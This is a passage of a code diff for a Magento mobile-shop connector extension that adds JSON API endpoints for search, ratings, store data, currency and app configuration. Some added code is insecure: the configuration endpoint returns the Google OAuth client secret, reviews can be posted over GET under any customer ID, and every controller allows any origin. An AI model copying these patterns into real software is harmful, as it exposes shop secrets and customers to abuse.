550
+
551
+ $productlist [] = array (
552
+ 'entity_id' => $product->getId (),
553
+ 'sku' => $product->getSku (),
554
+ 'name' => $product->getName (),
555
+ 'news_from_date' => $product->getNewsFromDate (),
556
+ 'news_to_date' => $product->getNewsToDate (),
557
+ 'special_from_date' => $product->getSpecialFromDate (),
558
+ 'special_to_date' => $product->getSpecialToDate (),
559
+ 'image_url' => Mage::helper('connector')-> Imageresize($product->getImage(),'product','300','300'),
560
+ 'url_key' => $product->getProductUrl (),
561
+ 'regular_price_with_tax' => number_format ( Mage::helper ( 'directory' )->currencyConvert ( $product->getPrice (), $baseCurrency, $currentCurrency ), 2, '.', '' ),
562
+ 'final_price_with_tax' => number_format ( Mage::helper ( 'directory' )->currencyConvert (
563
+ Mage::helper('connector')
564
+ ->getFinalPriceByProductId($product->getId ()),
565
+ $baseCurrency, $currentCurrency ), 2, '.', '' ),
566
+ 'symbol'=> Mage::helper('connector')->getCurrencysymbolByCode($this->currency),
567
+ 'qty'=>(int)Mage::getModel('cataloginventory/stock_item')->loadByProduct($product->getId())->getQty(),
568
+ 'rating' => $rating_final,
569
+ 'wishlist' => Mage::helper('connector')->check_wishlist($product->getId ()),
570
+ 'categoryid' => end($product->getCategoryIds()),
571
+ 'specialprice'=>Mage::helper('connector')->getSpecialPriceByProductId($product->getId ()),
572
+ );
573
+ }
574
 
575
  if(sizeof($productlist))
576
  echo json_encode($productlist);
577
  else
578
+ echo json_encode(array('status'=>'error','message'=> $this->__('There are no products matching the selection')));
579
  else:
580
+ echo json_encode(array('status'=>'error','message'=> $this->__('Search string is required')));
581
  endif;
582
  }
583
 
606
  $attribute = Mage::getModel('catalog/resource_eav_attribute')->load($attributeId);
607
  $attributeOptions = $attribute ->getSource()->getAllOptions(false);
608
 
609
+ if($attribute->getAttributeCode() == 'price')
610
+ $result[] = array('code' => $attribute->getAttributeCode(), 'label'=>$attribute->getFrontendLabel(),'value'=>$this->getpricerange());
611
+ else
612
+ if($attributeOptions)
613
+ $result[] = array('code' => $attribute->getAttributeCode(), 'label'=>$attribute->getFrontendLabel(),'value'=>$attributeOptions);
614
+
615
  }
616
 
617
  echo json_encode($result);
618
  }
619
  catch(exception $e){
620
 
621
+ echo json_encode(array('status'=>'error','message'=> $this->__('Server side error %s',$e->getMessage())));
622
  }
623
  }
624
 
625
  /*getFilter API*/
626
+
627
+
628
+ /*Set rating API*/
629
+ /*
630
+ URL : baseurl/restapi/products/setRating
631
+ Name : setRating
632
+ Method : GET
633
+ Input Data : Parameters : rating:{"product_Id":"Id of product","customer_Id":"Customer Id","short_description":"Title of Review"
634
+ "description":"review description","name":"Customer name added in review box","rating_options":{"1":"4","2":"3"}}
635
+ }
636
+
637
+ Response : JSON
638
+ */
639
+ public function setRatingAction(){
640
+
641
+ $rating = json_decode($this->getRequest ()->getParam('rating'),1);
642
+
643
+ $rating_points = json_decode($rating['rating_options'], true);
644
+ $review = Mage::getModel('review/review');
645
+
646
+ $review->setEntityPkValue($rating['product_Id']);
647
+ $review->setTitle($rating['short_description']);
648
+ $review->setDetail($rating['description']);
649
+ $review->setEntityId(1);
650
+ $review->setStoreId($this->storeId);
651
+ $review->setTypeId(3);
652
+ $review->setStatusId(1);
653
+ $review->setCustomerId($rating['customer_Id']?:NULL);
654
+ $review->setNickname($rating['name']);
655
+ $review->setReviewId($review->getId());
656
+ $review->setStores(array($this->storeId));
657
+ $review->save();
658
+
659
+
660
+ foreach($rating_points as $rating_id => $option_id):
661
+ try {
662
+ $_rating = Mage::getModel('rating/rating')
663
+ ->setRatingId($rating_id)
664
+ ->setReviewId($review->getId())
665
+ ->addOptionVote($option_id,$rating['product_Id']);
666
+ } catch (Exception $e) {
667
+ echo json_encode(array('status'=>'error','message'=>$e->getMessage()));
668
+ exit;
669
+ }
670
+ endforeach;
671
+
672
+ $updateReview = Mage::getModel('review/review')->load($review->getId());
673
+ $updateReview->setCreatedAt(Mage::getModel('core/date')->date('Y-m-d H:i:s'));
674
+ $updateReview->save();
675
+
676
+ echo json_encode(array('status'=>'success','message'=>'Review added sucessfully.'));
677
+ exit;
678
+ }
679
+
680
+
681
  }
app/code/local/Mss/Connector/controllers/SearchController.php DELETED
@@ -1,200 +0,0 @@
1
- <?php
2
-
3
- /**
4
-
5
- * Catalog Search Controller
6
-
7
- */
8
-
9
- class Mss_Connector_SearchController extends Mage_Core_Controller_Front_Action {
10
- public function _construct(){
11
-
12
- header('content-type: application/json; charset=utf-8');
13
- header("access-control-allow-origin: *");
14
- Mage::helper('connector')->loadParent(Mage::app()->getFrontController()->getRequest()->getHeader('token'));
15
- parent::_construct();
16
-
17
- }
18
-
19
- protected function _getSession() {
20
-
21
- return Mage::getSingleton ( 'catalog/session' );
22
-
23
- }
24
-
25
- public function indexAction() {
26
-
27
- $query = Mage::helper ( 'catalogsearch' )->getQuery ();
28
-
29
- /* @var $query Mage_CatalogSearch_Model_Query */
30
-
31
- $query->setStoreId ( Mage::app ()->getStore ()->getId () );
32
-
33
-
34
- if ($query->getQueryText () != '') {
35
-
36
- if (Mage::helper ( 'catalogsearch' )->isMinQueryLength ()) {
37
-
38
- $query->setId ( 0 )->setIsActive ( 1 )->setIsProcessed ( 1 );
39
-
40
- } else {
41
-
42
- if ($query->getId ()) {
43
-
44
- $query->setPopularity ( $query->getPopularity () + 1 );
45
-
46
- } else {
47
-
48
- $query->setPopularity ( 1 );
49
-
50
- }
51
-
52
-
53
-
54
- if ($query->getRedirect ()) {
55
-
56
- $query->save ();
57
-
58
- $this->getResponse ()->setRedirect ( $query->getRedirect () );
59
-
60
- return;
61
-
62
- } else {
63
-
64
- $query->prepare ();
65
-
66
- }
67
-
68
- }
69
-
70
-
71
-
72
- Mage::helper ( 'catalogsearch' )->checkNotes ();
73
-
74
-
75
-
76
- $collection = $query->getResultCollection ();
77
-
78
- $i = 1;
79
-
80
- $baseCurrency = Mage::app ()->getStore ()->getBaseCurrency ()->getCode ();
81
-
82
- $currentCurrency = Mage::app ()->getStore ()->getCurrentCurrencyCode ();
83
-
84
- foreach($collection as $product){
85
-
86
- $product = Mage::getModel ( 'catalog/product' )->load ( $product->getId () );
87
-
88
- $productlist [] = array (
89
-
90
- 'entity_id' => $product->getId (),
91
-
92
- 'sku' => $product->getSku (),
93
-
94
- 'name' => $product->getName (),
95
-
96
- 'news_from_date' => $product->getNewsFromDate (),
97
-
98
- 'news_to_date' => $product->getNewsToDate (),
99
-
100
- 'special_from_date' => $product->getSpecialFromDate (),
101
-
102
- 'special_to_date' => $product->getSpecialToDate (),
103
-
104
- 'image_url' => $product->getImageUrl (),
105
-
106
- 'url_key' => $product->getProductUrl (),
107
-
108
- 'regular_price_with_tax' => number_format ( Mage::helper ( 'directory' )->currencyConvert ( $product->getPrice (), $baseCurrency, $currentCurrency ), 2, '.', '' ),
109
-
110
- 'final_price_with_tax' => number_format ( Mage::helper ( 'directory' )->currencyConvert ( $product->getSpecialPrice (), $baseCurrency, $currentCurrency ), 2, '.', '' ),
111
-
112
- 'symbol' => Mage::app ()->getLocale ()->currency ( Mage::app ()->getStore ()->getCurrentCurrencyCode () )->getSymbol ()
113
-
114
- );
115
-
116
- $i ++;
117
-
118
- }
119
-
120
- echo json_encode($productlist);
121
-
122
- if (! Mage::helper ( 'catalogsearch' )->isMinQueryLength ()) {
123
-
124
- $query->save ();
125
-
126
- }
127
-
128
- } else {
129
-
130
-
131
- }
132
-
133
- }
134
-
135
- public function testAction() {
136
-
137
- $query = Mage::helper ( 'catalogSearch' )->getQuery ();
138
-
139
- $searcher = Mage::getSingleton ( 'catalogsearch/advanced' )->addFilters ( array (
140
-
141
- 'name' => $query->getQueryText (),
142
-
143
- 'description' => $query->getQueryText ()
144
-
145
- ) );
146
-
147
- // $obj = new stdClass ();
148
-
149
- // $obj->query = $query->getQueryText ();
150
-
151
- // $obj->results = $searcher->getProductCollection (); // nothing returned
152
-
153
- $result = $searcher->getProductCollection()->getData()/* ->getItems () */;
154
-
155
- //$mod = Mage::getModel ( 'catalog/product' );
156
-
157
- //echo $result;
158
-
159
- foreach ( $result as $product ) {
160
-
161
- //var_dump ( $product);
162
-
163
- // $product = Mage::getModel ( 'catalog/product' )->load ( $product ['entity_id'] );
164
-
165
- // $productlist [] = array (
166
-
167
- // 'entity_id' => $product->getId (),
168
-
169
- // 'sku' => $product->getSku (),
170
-
171
- // 'name' => $product->getName (),
172
-
173
- // 'news_from_date' => $product->getNewsFromDate (),
174
-
175
- // 'news_to_date' => $product->getNewsToDate (),
176
-
177
- // 'special_from_date' => $product->getSpecialFromDate (),
178
-
179
- // 'special_to_date' => $product->getSpecialToDate (),
180
-
181
- // 'image_url' => $product->getImageUrl (),
182
-
183
- // 'url_key' => $product->getProductUrl (),
184
-
185
- // 'regular_price_with_tax' => number_format ( Mage::helper ( 'directory' )->currencyConvert ( $product->getPrice (), $baseCurrency, $currentCurrency ), 2, '.', '' ),
186
-
187
- // 'final_price_with_tax' => number_format ( Mage::helper ( 'directory' )->currencyConvert ( $product->getSpecialPrice (), $baseCurrency, $currentCurrency ), 2, '.', '' ),
188
-
189
- // 'symbol' => Mage::app ()->getLocale ()->currency ( Mage::app ()->getStore ()->getCurrentCurrencyCode () )->getSymbol ()
190
-
191
- // );
192
-
193
- }
194
-
195
- var_dump($result);
196
-
197
- }
198
-
199
- }
200
-
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
app/code/local/Mss/Connector/controllers/StaticpagesController.php CHANGED
@@ -59,13 +59,13 @@ class Mss_Connector_StaticpagesController extends Mage_Core_Controller_Front_Act
59
  echo json_encode(array('status'=>'success','data'=>$data));
60
  exit;
61
  else:
62
- echo json_encode(array('status'=>'error','message'=>'No page configured, please configure page first'));
63
  exit;
64
  endif;
65
  }
66
  catch(exception $e){
67
 
68
- echo json_encode(array('status'=>'error','message'=>'Problem in loading data.'));
69
  exit;
70
 
71
  }
59
  echo json_encode(array('status'=>'success','data'=>$data));
60
  exit;
61
  else:
62
+ echo json_encode(array('status'=>'error','message'=> $this->__('No page configured, please configure page first')));
63
  exit;
64
  endif;
65
  }
66
  catch(exception $e){
67
 
68
+ echo json_encode(array('status'=>'error','message'=> $this->__('Problem in loading data.')));
69
  exit;
70
 
71
  }
app/code/local/Mss/Connector/controllers/StoreController.php DELETED
@@ -1,61 +0,0 @@
1
- <?php
2
- class Mss_Connector_StoreController extends Mage_Core_Controller_Front_Action {
3
- public function _construct(){
4
-
5
- header('content-type: application/json; charset=utf-8');
6
- header("access-control-allow-origin: *");
7
- Mage::helper('connector')->loadParent(Mage::app()->getFrontController()->getRequest()->getHeader('token'));
8
- parent::_construct();
9
-
10
- }
11
- public function websiteInfoAction() {
12
-
13
- $basicinfo = array ();
14
- foreach ( Mage::app ()->getWebsites () as $sk=> $website ) {
15
- $basicinfo[$sk]['webside']['name']=$website->getName();
16
- $basicinfo[$sk]['webside']['id']=$website->getId();
17
- foreach ( $website->getGroups () as $key=> $group ) {
18
- $basicinfo [$sk]['webside'][$key]['store']=$group->getName();
19
- $basicinfo [$sk]['webside'][$key]['store_id']=$group->getGroupId ();
20
- $basicinfo [$sk]['webside'][$key]['root_category_id']=$group->getRootCategoryId ();
21
- $stores = $group->getStores ();
22
- foreach ( $stores as $oo =>$_store ) {
23
- $basicinfo [$sk]['webside'][$key]['view'][$oo] = array (
24
- 'name' => $_store->getName (),
25
- 'store_id' => $_store->getStoreId (),
26
- 'store_url' => $_store->getUrl (),
27
- 'store_code'=>$_store->getCode(),
28
- 'sort_order' => $_store->getSortOrder(),
29
- 'is_active' =>$_store->getIsActive()
30
- );
31
- }
32
- }
33
-
34
- }
35
- echo json_encode($basicinfo);
36
-
37
- }
38
- public function storeInfoAction(){
39
- $website_id = Mage::app()->getStore()->getWebsiteId();
40
- $website_name = Mage::app ()->getWebsite($website_id) -> getName();
41
- $group_id = Mage::app()->getStore()->getGroupId();
42
- $group_name = Mage::app ()->getGroup($group_id) -> getName();
43
-
44
-
45
- echo json_encode(array('store_id'=>Mage::app()->getStore()->getStoreId(),
46
- 'store_code'=>Mage::app()->getStore()->getCode(),
47
- 'website_id'=>$website_id,
48
- 'website_name'=>$website_name,
49
- 'group_id'=>$group_id,
50
- 'group_name'=>$group_name,
51
- 'name'=>Mage::app()->getStore()->getName(),
52
- 'sort_order' => Mage::app()->getStore()->getSortOrder(),
53
- 'is_active'=>Mage::app()->getStore()->getIsActive(),
54
- 'root_category_id' => Mage::app()->getStore()->getRootCategoryId(),
55
-
56
- 'url'=> Mage::helper('core/url')->getHomeUrl()
57
-
58
- ));
59
- }
60
-
61
- }
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
app/code/local/Mss/Connector/controllers/StoreinfoController.php CHANGED
@@ -1,69 +1,254 @@
1
  <?php
2
- class Mss_Connector_StoreinfoController extends Mage_Core_Controller_Front_Action {
3
 
4
- const MSS_STORE_EMAIL = 'mss/mss_info_group/store_email';
5
- const MSS_STORE_PHONENO = 'mss/mss_info_group/store_phoneno';
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
6
 
 
 
 
7
 
8
- public function _construct(){
9
 
10
- header('content-type: application/json; charset=utf-8');
11
- header("access-control-allow-origin: *");
12
- Mage::helper('connector')->loadParent(Mage::app()->getFrontController()->getRequest()->getHeader('token'));
13
- parent::_construct();
14
-
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
15
  }
 
 
16
 
17
- /*
18
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
19
 
20
- Working url : baseURL/restapi/storeinfo/getstoreinfo/
21
- URL : baseurl/restapi/storeinfo/getstoreinfo/
22
- Name : getstoreinfo
23
- Method : GET
24
- Response : JSON
25
- Return Response :
26
- {
27
- "status": "success",
28
- "data": {
29
- "store_phoneno": "dummy text",
30
- "store_email": "dummy text",
31
- "store_weburl": "dummy text"
32
- }
33
- }
34
- */
35
-
36
- public function getstoreinfoAction(){
37
- try{
38
- $recipient_email = Mage::getStoreConfig('contacts/email/recipient_email');
39
- $store_name = Mage::getBaseUrl();
40
- $store_phone = Mage::getStoreConfig('general/store_information/phone');
41
-
42
-
43
- $storeinfo = array();
44
- if(Mage::getStoreConfig(self::MSS_STORE_PHONENO)):
45
- $result['store_phoneno'] = Mage::getStoreConfig(self::MSS_STORE_PHONENO);
46
- else:
47
- $result['store_phoneno'] = $store_phone;
48
- endif;
49
-
50
- if(Mage::getStoreConfig(self::MSS_STORE_EMAIL)):
51
- $result['store_email'] = Mage::getStoreConfig(self::MSS_STORE_EMAIL);
52
- else:
53
- $result['store_email'] = $recipient_email;
54
- endif;
55
-
56
- $result['store_weburl'] = $store_name;
57
-
58
- $storeinfo = $result;
59
-
60
- echo json_encode(array('status'=>'success','data'=>$storeinfo));
61
- }
62
- catch(exception $e){
63
-
64
- echo json_encode(array('status'=>'error','message'=>'Problem in loading data.'));
65
- exit;
66
- }
67
-
68
- }
69
- }
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
  <?php
2
+ class Mss_Connector_StoreinfoController extends Mage_Core_Controller_Front_Action {
3
 
4
+ const MSS_STORE_EMAIL = 'mss/mss_info_group/store_email';
5
+ const MSS_STORE_PHONENO = 'mss/mss_info_group/store_phoneno';
6
+
7
+
8
+ public $storeId = "1";
9
+ public $viewId = "";
10
+ public $currency = "";
11
+
12
+ public function _construct(){
13
+
14
+ header('content-type: application/json; charset=utf-8');
15
+ header("access-control-allow-origin: *");
16
+ Mage::helper('connector')->loadParent(Mage::app()->getFrontController()->getRequest()->getHeader('token'));
17
+
18
+ $this->storeId = Mage::app()->getFrontController()->getRequest()->getHeader('storeId');
19
+ $this->viewId = Mage::app()->getFrontController()->getRequest()->getHeader('viewId');
20
+ $this->currency = Mage::app()->getFrontController()->getRequest()->getHeader('currency');
21
+ Mage::app()->setCurrentStore($this->storeId);
22
 
23
+ parent::_construct();
24
+
25
+ }
26
 
27
+ /*
28
 
29
+
30
+ Working url : baseURL/restapi/storeinfo/getstoreinfo/
31
+ URL : baseurl/restapi/storeinfo/getstoreinfo/
32
+ Name : getstoreinfo
33
+ Method : GET
34
+ Response : JSON
35
+ Return Response :
36
+ {
37
+ "status": "success",
38
+ "data": {
39
+ "store_phoneno": "dummy text",
40
+ "store_email": "dummy text",
41
+ "store_weburl": "dummy text"
42
+ }
43
+ }
44
+ */
45
+
46
+ public function getstoreinfoAction(){
47
+ try{
48
+ $recipient_email = Mage::getStoreConfig('contacts/email/recipient_email');
49
+ $store_name = Mage::getBaseUrl();
50
+ $store_phone = Mage::getStoreConfig('general/store_information/phone');
51
+
52
+
53
+ $storeinfo = array();
54
+ if(Mage::getStoreConfig(self::MSS_STORE_PHONENO)):
55
+ $result['store_phoneno'] = Mage::getStoreConfig(self::MSS_STORE_PHONENO);
56
+ else:
57
+ $result['store_phoneno'] = $store_phone;
58
+ endif;
59
+
60
+ if(Mage::getStoreConfig(self::MSS_STORE_EMAIL)):
61
+ $result['store_email'] = Mage::getStoreConfig(self::MSS_STORE_EMAIL);
62
+ else:
63
+ $result['store_email'] = $recipient_email;
64
+ endif;
65
+
66
+ $result['store_weburl'] = $store_name;
67
+
68
+ $storeinfo = $result;
69
+
70
+ echo json_encode(array('status'=>'success','data'=>$storeinfo));
71
+ }
72
+ catch(exception $e){
73
+
74
+ echo json_encode(array('status'=>'error','message'=>$this->__('Problem in loading data.')));
75
+ exit;
76
  }
77
+
78
+ }
79
 
80
+ /*
81
 
82
+
83
+ Working url : baseURL/restapi/storeinfo/getstoredata/
84
+ URL : baseurl/restapi/storeinfo/getstoredata/
85
+ Name : getstoreinfo
86
+ Method : GET
87
+ Response : JSON
88
+ Return Response :
89
+
90
+ */
91
+
92
+ public function getstoredataAction() {
93
+
94
+ $basicinfo = array ();
95
+ $website_id = Mage::app()->getStore()->getWebsiteId();
96
+ $website = Mage::app ()->getWebsite($website_id);
97
+
98
+ foreach($website->getGroups() as $key=> $group):
99
+
100
+ $stores = $group->getStores();
101
 
102
+ foreach ( $stores as $key =>$view)
103
+ $store_view[]= [
104
+ 'name' => $view->getName(),
105
+ 'view_id' => $view->getStoreId(),
106
+ 'store_url' => $view->getUrl(),
107
+ 'store_code'=> $view->getCode(),
108
+ 'sort_order' => $view->getSortOrder(),
109
+ 'is_active' => $view->getIsActive()
110
+ ];
111
+
112
+ $basicinfo[]=[
113
+ 'store' => $group->getName(),
114
+ 'store_id' => $group->getGroupId(),
115
+ 'root_category_id' => $group->getRootCategoryId(),
116
+ 'view'=>$store_view
117
+ ];
118
+
119
+ $store_view ='';
120
+
121
+ endforeach;
122
+ echo json_encode($basicinfo);
123
+
124
+ }
125
+
126
+ /*
127
+
128
+
129
+ Working url : baseURL/restapi/storeinfo/getstoredata/
130
+ URL : baseurl/restapi/storeinfo/getstoredata/
131
+ Name : getstoreinfo
132
+ Method : GET
133
+ Response : JSON
134
+ Return Response :
135
+
136
+
137
+ */
138
+
139
+ public function getCurrentCurrencyAction() {
140
+
141
+ $codes = Mage::app()->getStore()->getAvailableCurrencyCodes(true);
142
+
143
+ if (is_array($codes) && count($codes) > 1):
144
+ $rates = Mage::getModel('directory/currency')->getCurrencyRates(
145
+ Mage::app()->getStore()->getBaseCurrency(),
146
+ $codes
147
+ );
148
+
149
+
150
+
151
+ foreach ($codes as $code):
152
+ if(isset($rates[$code]))
153
+ $currencies[] =['name'=> Mage::app()->getLocale()
154
+ ->getTranslation($code, 'nametocurrency'),'code'=>$code,
155
+ 'symbol'=>Mage::app()->getLocale()->currency($code)->getSymbol()];
156
+
157
+
158
+ endforeach;
159
+ endif;
160
+
161
+ echo json_encode($currencies);
162
+
163
+ }
164
+
165
+ /*
166
+
167
+
168
+ Working url : baseURL/restapi/storeinfo/storelocator/
169
+ URL : baseurl/restapi/storeinfo/storelocator/
170
+ Name : getstoreinfo
171
+ Method : GET
172
+ Response : JSON
173
+ Return Response :
174
+
175
+ */
176
+
177
+ public function storelocatorAction(){
178
+
179
+ $Info = array('phone','name','hours','address','longitude','latitude');
180
+
181
+ $website_id = Mage::app()->getStore()->getWebsiteId();
182
+ $website = Mage::app ()->getWebsite($website_id);
183
+ $storedata = '';
184
+ foreach($website->getGroups() as $key=> $group):
185
+
186
+ $stores = $group->getStores();
187
+
188
+ $store_Id = '';
189
+ $view_Id = '';
190
+ foreach ( $stores as $key =>$view):
191
+ $store_Id = $view->getStoreId();
192
+ if($view->getStoreId()):
193
+ $v_stores = $group->getStores();
194
+ foreach ( $v_stores as $v_key =>$v_view):
195
+ $view_Id = $v_view->getStoreId();
196
+ break;
197
+ endforeach;
198
+ break;
199
+ endif;
200
+ endforeach;
201
+
202
+
203
+ foreach($Info as $detail)
204
+ $storedetails[$detail] = Mage::getStoreConfig('general/store_information/'.$detail,$store_Id);
205
+
206
+ $storedetails['store_id'] = $store_Id;
207
+ $storedetails['view_id'] = $view_Id;
208
+ $storedata[] = $storedetails;
209
+ endforeach;
210
+ echo json_encode($storedata);
211
+
212
+ }
213
+
214
+ /*
215
+
216
+
217
+ Working url : baseURL/restapi/storeinfo/clearCaches/
218
+ URL : baseurl/restapi/storeinfo/clearCaches/
219
+ Name : getstoreinfo
220
+ Method : GET
221
+ Response : JSON
222
+ Return Response :
223
+
224
+ */
225
+
226
+ public function clearCachesAction(){
227
+ Mage::app()->getCache()->remove("mss_dashboard_store1");
228
+ Mage::app()->getCache()->remove("mss_menu_store1");
229
+
230
+ /*change store currency*/
231
+ $parameter = $this->getRequest ()->getParam ('parameter');
232
+ if( isset($parameter) && $parameter == 'currency') {
233
+
234
+ try {
235
+
236
+ Mage::app()->getStore()->setCurrentCurrencyCode($this->currency);
237
+
238
+ if (Mage::getSingleton('checkout/session')->getQuote()) {
239
+ Mage::getSingleton('checkout/session')->getQuote()
240
+ ->collectTotals()
241
+ ->save();
242
+ }
243
+ echo json_encode(array('status'=>'success','message'=>'Currency changed.'));
244
+ exit;
245
+ } catch (Exception $e){
246
+ echo json_encode(array('status'=>'error','message'=>$e->getMessage()));
247
+ exit;
248
+ }
249
+ }
250
+
251
+ echo json_encode(array('status'=>'success'));
252
+
253
+ }
254
+ }
app/code/local/Mss/Connector/controllers/TokenController.php CHANGED
@@ -6,6 +6,14 @@ class Mss_Connector_TokenController extends Mage_Core_Controller_Front_Action {
6
  const XML_SECURE_TOKEN = 'magentomobileshop/secure/token';
7
  const XML_SECURE_TOKEN_EXP = 'secure/token/exp';
8
 
 
 
 
 
 
 
 
 
9
 
10
  public function _construct(){
11
 
@@ -53,14 +61,14 @@ class Mss_Connector_TokenController extends Mage_Core_Controller_Front_Action {
53
  echo json_encode(array('status'=>'success','message'=>'Data updated.'));
54
  else:
55
 
56
- echo json_encode(array('status'=>'error','message'=>'Required parameters are missing.'));
57
 
58
  endif;
59
 
60
  }
61
  catch(exception $e){
62
 
63
- echo json_encode(array('status'=>'error','message'=>$e->getMessage()));
64
 
65
  }
66
  }
@@ -82,6 +90,7 @@ class Mss_Connector_TokenController extends Mage_Core_Controller_Front_Action {
82
  public function getTokenAction(){
83
 
84
  try{
 
85
  if(Mage::getStoreConfig(self::XML_SECURE_KEY_STATUS)):
86
 
87
 
@@ -125,22 +134,22 @@ class Mss_Connector_TokenController extends Mage_Core_Controller_Front_Action {
125
  exit;
126
  endif;
127
  else:
128
- echo json_encode(array('status'=>'error','message'=> 'Invalid secure key.'));
129
  endif;
130
  else:
131
 
132
- echo json_encode(array('status'=>'error','message'=>'Secure key is required.'));
133
 
134
  endif;
135
 
136
  else:
137
- echo json_encode(array('status'=>'error','message'=>'App is disabled by magentomobileshop admin.'));
138
  endif;
139
 
140
  }
141
  catch(exception $e){
142
 
143
- echo json_encode(array('status'=>'error','message'=>$e->getMessage()));
144
 
145
  }
146
  }
@@ -186,4 +195,64 @@ class Mss_Connector_TokenController extends Mage_Core_Controller_Front_Action {
186
  }
187
 
188
  }
189
- }
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
6
  const XML_SECURE_TOKEN = 'magentomobileshop/secure/token';
7
  const XML_SECURE_TOKEN_EXP = 'secure/token/exp';
8
 
9
+ const XML_SETTING_ACTIVE = 'wishlist/general/active';
10
+ const XML_SETTING_GUEST_REVIEW = 'catalog/review/allow_guest';
11
+ const XML_SETTING_GUEST_CHECKOUT = 'checkout/options/guest_checkout';
12
+ const XML_SETTING_GOOGLE_CLIENT_ID = 'mss_social/mss_google_key/client_id';
13
+ const XML_SETTING_GOOGLE_SECRET_ID = 'mss_social/mss_google_key/client_secret';
14
+ const XML_SETTING_FACEBOOK_ID = 'mss_social/mss_facebook_key/facebook_id';
15
+ const XML_SETTING_GOOGLE_SENDER_ID = 'mss_pushnotification/setting_and/googlesenderid';
16
+
17
 
18
  public function _construct(){
19
 
61
  echo json_encode(array('status'=>'success','message'=>'Data updated.'));
62
  else:
63
 
64
+ echo json_encode(array('status'=>'error','message'=> $this->__('Required parameters are missing.')));
65
 
66
  endif;
67
 
68
  }
69
  catch(exception $e){
70
 
71
+ echo json_encode(array('status'=>'error','message'=> $this->__($e->getMessage())));
72
 
73
  }
74
  }
90
  public function getTokenAction(){
91
 
92
  try{
93
+
94
  if(Mage::getStoreConfig(self::XML_SECURE_KEY_STATUS)):
95
 
96
 
134
  exit;
135
  endif;
136
  else:
137
+ echo json_encode(array('status'=>'error','message'=> $this->__('Invalid secure key.')));
138
  endif;
139
  else:
140
 
141
+ echo json_encode(array('status'=>'error','message'=> $this->__('Secure key is required.')));
142
 
143
  endif;
144
 
145
  else:
146
+ echo json_encode(array('status'=>'error','message'=> $this->__('App is disabled by magentomobileshop admin.')));
147
  endif;
148
 
149
  }
150
  catch(exception $e){
151
 
152
+ echo json_encode(array('status'=>'error','message'=> $this->__($e->getMessage())));
153
 
154
  }
155
  }
195
  }
196
 
197
  }
198
+
199
+ /*
200
+ Working url : baseURL/restapi/storeinfo/getConfiguration/
201
+ URL : baseurl/restapi/storeinfo/getConfiguration/
202
+ Name : getConfiguration
203
+ Method : GET
204
+ Response : JSON
205
+ Return Response :
206
+ {
207
+ "wishlist": "1",
208
+ "review_allow_guest": "1",
209
+ "guestcheckout": "1",
210
+ "review": "0",
211
+ "rating_type": [
212
+ "Quality",
213
+ "Value",
214
+ "Price"
215
+ ]
216
+ }
217
+ */
218
+
219
+
220
+ public function getConfigurationAction(){
221
+
222
+ $config_data = array();
223
+ $config_data['wishlist'] = Mage::getStoreConfig(self::XML_SETTING_ACTIVE);
224
+ $config_data['review_allow_guest'] = Mage::getStoreConfig(self::XML_SETTING_GUEST_REVIEW);
225
+ $config_data['guestcheckout'] = Mage::getStoreConfig(self::XML_SETTING_GUEST_CHECKOUT);
226
+
227
+ $config_data['google_clientid'] = Mage::getStoreConfig(self::XML_SETTING_GOOGLE_CLIENT_ID);
228
+ $config_data['google_secretid'] = Mage::getStoreConfig(self::XML_SETTING_GOOGLE_SECRET_ID);
229
+ $config_data['facebook_id'] = Mage::getStoreConfig(self::XML_SETTING_FACEBOOK_ID);
230
+ $config_data['google_senderid'] = Mage::getStoreConfig(self::XML_SETTING_GOOGLE_SENDER_ID);
231
+ $config_data['default_store_name'] = Mage::app()->getDefaultStoreView()->getCode();
232
+ $config_data['default_store_id'] = Mage::app()->getWebsite(true)->getDefaultGroup()
233
+ ->getDefaultStoreId();
234
+ $config_data['default_view_id'] = Mage::app()->getDefaultStoreView()->getId();
235
+ $config_data['default_store_currency'] = Mage::app()->getStore()->getCurrentCurrencyCode();
236
+
237
+
238
+ if(Mage::helper('core')->isModuleOutputEnabled('Mage_Review'))
239
+ $config_data['review'] ='1';
240
+ else
241
+ $config_data['review'] ='0';
242
+
243
+ ##Rating
244
+ $resource = Mage::getSingleton('core/resource');
245
+ $readConnection = $resource->getConnection('core_read');
246
+ $query = 'SELECT * FROM ' . $resource->getTableName('rating');
247
+ $results = $readConnection->fetchAll($query);
248
+
249
+ foreach($results as $rating)
250
+ $ratingdata[] = $rating['rating_code'] ;
251
+
252
+
253
+ $config_data['rating_type'] = $ratingdata;
254
+ echo json_encode($config_data);
255
+
256
+
257
+ }
258
+ }
app/code/local/Mss/Connector/controllers/WishlistController.php CHANGED
@@ -1,12 +1,22 @@
1
  <?php
2
